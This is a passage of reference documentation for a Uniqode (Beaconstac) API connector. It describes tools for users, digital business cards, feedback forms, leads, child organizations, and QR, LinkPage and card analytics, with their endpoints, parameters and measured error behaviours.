pages. The reply is `{count, next, previous, results}`: `count` is the total, `results` the current page, and `next`/`previous` are ready-made URLs for the adjacent pages (null at either end). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/users/. Scopes: api. beaconstac_get_users_by_user_id (read) — Get a user via GET /api/2.0/users/{user_id}/. Fetch one user by id: name, email, role per organization (`org_user_groups[].user_group`, with `qr_permission` and `cards_permission` saying which products they hold), plan and timezone. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/users/{user_id}/. Scopes: api. beaconstac_post_dbc (write) — Create a digital business card via POST /api/2.0/dbc/. Create a digital business card. `first_name` and `customizations` (`background_color`, `user_info_color`, `secondary_color`, `typography`) are required by the vendor; `card_owner` names the user the card belongs to, and `template` carries the QR design. The organization is set from this connection. Digital Business Cards is a separate Uniqode product: on an account without the Cards entitlement this answers 403 'You do not have permission to perform this action', which is the plan, not the key (measured 2026-09-19). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/dbc/. Scopes: api. beaconstac_post_dbc_bulkdelete_list (write, destructive) — Bulk delete digital business cards via POST /api/2.0/dbc/bulkdelete/list/. PERMANENTLY DELETE every card whose id is in `ids`, in one call. The reply reports `count`, the number removed. There is no undo. Digital Business Cards is a separate Uniqode product: on an account without the Cards entitlement this answers 403 'You do not have permission to perform this action', which is the plan, not the key (measured 2026-09-19). There is no undo and no recycle bin: Uniqode's API offers no way to restore what this call removes. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/dbc/bulkdelete/list/. Scopes: api. beaconstac_post_dbc_qrcode_filter (read) — Bulk download card QR code images by filter via POST /api/2.0/dbc/qrcode/filter/. Request a zip of QR code images for every card matching `filters` (`card_owner`, `card_owner__email__icontains`, `first_name__icontains`, `last_name__icontains`, `url__icontains`, `state`). Same reply shape as the by-id bulk download, and the same email fallback when no canvas type is set. Digital Business Cards is a separate Uniqode product: on an account without the Cards entitlement this answers 403 'You do not have permission to perform this action', which is the plan, not the key (measured 2026-09-19). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/dbc/qrcode/filter/. Scopes: api. beaconstac_post_dbc_qrcode_list (read) — Bulk download card QR code images by id via POST /api/2.0/dbc/qrcode/list/. Request a zip of QR code images for the cards named in `ids`, at the `size` and `canvas_type` given. The reply carries the download `url` and `qr_code_count`; when no canvas type is given the vendor emails the zip to the key holder's registered address instead. Digital Business Cards is a separate Uniqode product: on an account without the Cards entitlement this answers 403 'You do not have permission to perform this action', which is the plan, not the key (measured 2026-09-19). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/dbc/qrcode/list/. Scopes: api. beaconstac_post_forms (write) — Create a feedback form via POST /api/2.0/forms/. Create a feedback form from a `form_structure` document (the vendor's typeform-like schema of fields, choices and scoring logic) plus its title and settings; the form id in the reply is what a Feedback Form QR code (`campaign.content_type` 3, `campaign.form`) points at. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/forms/. Scopes: api. beaconstac_post_lead_export (read) — Export leads via POST /api/2.0/lead/export/. Request the vendor's CSV report of every lead captured for the connected organization. The body is empty; Uniqode builds the report server-side and answers with the lead records for the export. Measured 2026-09-19 on an Owner key: answers 403 'You do not have permission to export contacts.' -- an export permission on the leads plane, distinct from the key being valid (List leads on the same key answers 200). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/lead/export/. Scopes: api. beaconstac_post_organizations (write) — Create a child organization via POST /api/2.0/organizations/. Create a child organization under the connected one, from a `name`. Child organizations are Uniqode's isolation unit; connect one separately to work inside it. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organizations/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_dbc_contacts_received (read) — Card analytics: contacts received over time via POST /api/2.0/organizations/{organization_id}/products/dbc/contacts/received/. Leads captured through cards over time (`results[]` of `date`, `contacts`). `is_organization_analytics` includes leads with no card attached; `timezone` resolves the local date. The vendor calls this shape best-effort -- read it defensively. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/dbc/contacts/received/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_dbc_downloads_distribution (read) — Card analytics: saves over time via POST /api/2.0/organizations/{organization_id}/products/dbc/downloads/distribution/. Card saves/downloads per time bucket (`results[]` of `time_in_ms`, `downloads`), zero-filled; `interval` and `timezone` shape the buckets. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/dbc/downloads/distribution/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_dbc_leaderboard (read) — Card analytics: leaderboard via POST /api/2.0/organizations/{organization_id}/products/dbc/leaderboard/. Per-card views, saves and contacts as a sorted, paginated roster (`results[]` of `dbc_id`, `dbc_name`, `user_image_url`, `views`, `saves`, `contacts`; `count` is the total across pages). `order_by` is one of views, saves, name, contacts with a leading `-` for descending; `page` and `page_size` (1-100) page it. Cards with zero activity are included. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/dbc/leaderboard/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_dbc_views_city (read) — Card analytics: city distribution via POST /api/2.0/organizations/{organization_id}/products/dbc/views/city/. Card views and downloads grouped by city, state/province and country (`results[]` of `city`, `state`, `country`, `views`, `downloads`). `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/dbc/views/city/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_dbc_views_device_os (read) — Card analytics: device OS distribution via POST /api/2.0/organizations/{organization_id}/products/dbc/views/device-os/. Card views by device operating system (`results[]` of `device_os`, `views`, `percentage`). The catch-all label here is lowercase `others`, not the `Other` the QR tool returns; normalise before joining. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/dbc/views/device-os/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_dbc_views_locations (read) — Card analytics: view location coordinates via POST /api/2.0/organizations/{organization_id}/products/dbc/views/locations/. Raw latitude/longitude pairs for plotting card views: `ip_data` (IP-geolocated) and `gps_data` (device-reported, permission-gated); neither deduplicated. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/dbc/views/locations/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_dbc_views_time_of_day (read) — Card analytics: time-of-day distribution via POST /api/2.0/organizations/{organization_id}/products/dbc/views/time-of-day/. Card views by weekday and local hour for a heatmap: `results` keyed by day name, each mapping hour (string key) to a count; sparse, not zero-filled. `timezone` resolves the local hour. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/dbc/views/time-of-day/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_dbc_visitors_distribution (read) — Card analytics: views and visitors over time via POST /api/2.0/organizations/{organization_id}/products/dbc/visitors/distribution/. Card views and unique visitors per time bucket (`results[]` of `time_in_ms`, `views`, `unique_visitors`), zero-filled; `interval` and `timezone` shape the buckets. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/dbc/visitors/distribution/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_linkpages_by_linkpage_id_engagement_metrics (read) — LinkPage analytics: engagement metrics for one LinkPage via POST /api/2.0/organizations/{organization_id}/products/linkpages/{linkpage_id}/engagement-metrics/. Bounce rate and average session duration for ONE LinkPage, named in the path (`total_sessions`, `bounce_sessions`, `engaged_sessions`, `bounce_rate`, `avg_session_duration_seconds`). Answers 404 when the id does not exist or is not visible to this key. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. LinkPages have no create/list tools in this API; `product_ids` and `linkpage_id` come from LinkPage analytics: viewed LinkPages or from the Uniqode dashboard. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/linkpages/{linkpage_id}/engagement-metrics/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_linkpages_clicks_distribution (read) — LinkPage analytics: clicks over time via POST /api/2.0/organizations/{organization_id}/products/linkpages/clicks/distribution/. Link taps per time bucket (`results[]` of `time_in_ms`, `clicks`) with window totals (`total_clicks`, `unique_clicks`), zero-filled. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. LinkPages have no create/list tools in this API; `product_ids` and `linkpage_id` come from LinkPage analytics: viewed LinkPages or from the Uniqode dashboard. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/linkpages/clicks/distribution/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_linkpages_leaderboard (read) — LinkPage analytics: link leaderboard via POST /api/2.0/organizations/{organization_id}/products/linkpages/leaderboard/. Per-LINK click data with the parent LinkPage name (`results[]` of `linkpage_name`, `title`, `url`, `clicks`, `unique_clicks`, `last_modified`) -- one row per link, not per page. `sortby` (clicks, unique_clicks, last_modified, title, url) and `descending` order it; omit `page` and `page_size` to get every row. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. LinkPages have no create/list tools in this API; `product_ids` and `linkpage_id` come from LinkPage analytics: viewed LinkPages or from the Uniqode dashboard. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/linkpages/leaderboard/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_linkpages_overview (read) — LinkPage analytics: all-time views via POST /api/2.0/organizations/{organization_id}/products/linkpages/overview/. All-time total view count across the organization's LinkPages (`overall_view_count`); `account_wide` adds child organizations. The vendor's page says this takes no time window, but the live handler DEMANDS `from_timestamp` and `to_timestamp` (measured 2026-09-19: `{}` and `{account_wide:false}` both answer 403 'Missing required parameter: from_timestamp'; with a 7-day window -> 200 {overall_view_count: 0}) -- send a window and read the total. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. LinkPages have no create/list tools in this API; `product_ids` and `linkpage_id` come from LinkPage analytics: viewed LinkPages or from the Uniqode dashboard. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/linkpages/overview/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_linkpages_performance_multi (read) — LinkPage analytics: multi-LinkPage performance via POST /api/2.0/organizations/{organization_id}/products/linkpages/performance/multi/. View counts and last-modified stamps for many LinkPages in one call (`results[]` of `linkpage_id`, `views`, `last_modified`); `organization_ids` widens it to child organizations. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. LinkPages have no create/list tools in this API; `product_ids` and `linkpage_id` come from LinkPage analytics: viewed LinkPages or from the Uniqode dashboard. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/linkpages/performance/multi/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_linkpages_viewed (read) — LinkPage analytics: viewed LinkPages via POST /api/2.0/organizations/{organization_id}/products/linkpages/viewed/. IDs of every LinkPage that recorded at least one view in the window (`viewed_linkpages`) -- the LinkPage analogue of Scanned QR codes, and where LinkPage ids come from for the other tools. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. LinkPages have no create/list tools in this API; `product_ids` and `linkpage_id` come from LinkPage analytics: viewed LinkPages or from the Uniqode dashboard. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/linkpages/viewed/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_linkpages_views_city (read) — LinkPage analytics: city distribution via POST /api/2.0/organizations/{organization_id}/products/linkpages/views/city/. LinkPage views and clicks grouped by city, state/province and country (`results[]` of `city`, `state`, `country`, `views`, `clicks`). `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. LinkPages have no create/list tools in this API; `product_ids` and `linkpage_id` come from LinkPage analytics: viewed LinkPages or from the Uniqode dashboard. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/linkpages/views/city/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_linkpages_views_device_os (read) — LinkPage analytics: device OS distribution via POST /api/2.0/organizations/{organization_id}/products/linkpages/views/device-os/. LinkPage views by device operating system (`results[]` of `device_os`, `views`, `percentage`); the catch-all label is lowercase `others`. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. LinkPages have no create/list tools in this API; `product_ids` and `linkpage_id` come from LinkPage analytics: viewed LinkPages or from the Uniqode dashboard. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/linkpages/views/device-os/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_linkpages_views_locations (read) — LinkPage analytics: view location coordinates via POST /api/2.0/organizations/{organization_id}/products/linkpages/views/locations/. Raw latitude/longitude pairs for plotting LinkPage views: `ip_data` and permission-gated `gps_data`; neither deduplicated. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. LinkPages have no create/list tools in this API; `product_ids` and `linkpage_id` come from LinkPage analytics: viewed LinkPages or from the Uniqode dashboard. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/linkpages/views/locations/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_linkpages_views_time_of_day (read) — LinkPage analytics: time-of-day distribution via POST /api/2.0/organizations/{organization_id}/products/linkpages/views/time-of-day/. LinkPage views by weekday and local hour for a heatmap: `results` keyed by day name, each mapping hour (string key) to a count; sparse. `timezone` resolves the local hour. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. LinkPages have no create/list tools in this API; `product_ids` and `linkpage_id` come from LinkPage analytics: viewed LinkPages or from the Uniqode dashboard. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/linkpages/views/time-of-day/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_linkpages_visitors_distribution (read) — LinkPage analytics: views and visitors over time via POST /api/2.0/organizations/{organization_id}/products/linkpages/visitors/distribution/. LinkPage views and unique visitors per time bucket (`results[]` of `time_in_ms`, `views`, `unique_visitors`), zero-filled; `interval` and `timezone` shape the buckets. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. LinkPages have no create/list tools in this API; `product_ids` and `linkpage_id` come from LinkPage analytics: viewed LinkPages or from the Uniqode dashboard. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/linkpages/visitors/distribution/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_qr_period_overview (read) — QR analytics: period overview via POST /api/2.0/organizations/{organization_id}/products/qr/period-overview/. Summary tile figures for a period: `impression_count`, `unique_user_count` (only when `periodic_request` is true), `scanned_product_count` and `total_product_count`. `notification_count` and `conversion_percentage` are always 0 for QR codes and carry no meaning. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/qr/period-overview/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_qr_scanners_distribution (read) — QR analytics: unique scanners over time via POST /api/2.0/organizations/{organization_id}/products/qr/scanners/distribution/. Distinct scanner counts per time bucket (`results[]` of `time_in_ms`, `unique_scanners`), deduplicated within each bucket only; zero-filled. `interval` and `timezone` shape the buckets. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/qr/scanners/distribution/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_qr_scanners_unique (read) — QR analytics: total unique scanners via POST /api/2.0/organizations/{organization_id}/products/qr/scanners/unique/. Count of DISTINCT scanners for the whole window (`unique_scanners`), deduplicated across the window -- lower than the sum of per-bucket unique counts from the over-time tool, where one scanner on three days counts three times. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/qr/scanners/unique/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_qr_scans (read) — QR analytics: scanned QR codes via POST /api/2.0/organizations/{organization_id}/products/qr/scans/. IDs of every QR code that recorded at least one scan in the window (`scanned_qrcodes`). Resolve which codes had traffic before fanning out to the per-code tools -- feed the ids back as `product_ids`. With `product_ids` supplied, returns the scanned subset of them. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/qr/scans/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_qr_scans_anomalous_count (read) — QR analytics: anomalous scan count via POST /api/2.0/organizations/{organization_id}/products/qr/scans/anomalous/count/. Total scans flagged as anomalous (bot or abusive traffic) in the window (`anomalous_scans`) -- the traffic the other tools drop when `hide_anomalies` is true. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/qr/scans/anomalous/count/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_qr_scans_anomalous_distribution (read) — QR analytics: anomalous scans over time via POST /api/2.0/organizations/{organization_id}/products/qr/scans/anomalous/distribution/. Anomalous scan counts per time bucket (`results[]` of `time_in_ms`, `anomalous_scans`), zero-filled; `interval` and `timezone` shape the buckets. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/qr/scans/anomalous/distribution/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_qr_scans_campaign_type (read) — QR analytics: campaign type distribution via POST /api/2.0/organizations/{organization_id}/products/qr/scans/campaign-type/. Scans grouped by campaign type (`results[]` of `campaign_type` -- the numeric content type -- `scans`, `qr_count` distinct codes of that type, `percentage`). `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/qr/scans/campaign-type/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_qr_scans_city (read) — QR analytics: city distribution via POST /api/2.0/organizations/{organization_id}/products/qr/scans/city/. Scans grouped by city, state/province and country (`results[]` of `city`, `state`, `country`, `scans`). `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/qr/scans/city/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_qr_scans_city_region (read) — QR analytics: city and region distribution via POST /api/2.0/organizations/{organization_id}/products/qr/scans/city-region/. Scans grouped by city, region and country (`results[]` of `city`, `region`, `country`, `scans`). Near-identical to the city distribution but keyed `region` from a different grouping; do not mix the two in one report. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/qr/scans/city-region/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_qr_scans_count (read) — QR analytics: total scan count via POST /api/2.0/organizations/{organization_id}/products/qr/scans/count/. Single total scan count for the window (`scans`). `product_ids` scopes it to particular QR codes; `hide_anomalies` excludes bot/abusive traffic; `device_os` and `location` filter the scans counted. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/qr/scans/count/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_qr_scans_country (read) — QR analytics: country distribution via POST /api/2.0/organizations/{organization_id}/products/qr/scans/country/. Scans grouped by country (`results[]` of `country`, `scans`). `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode 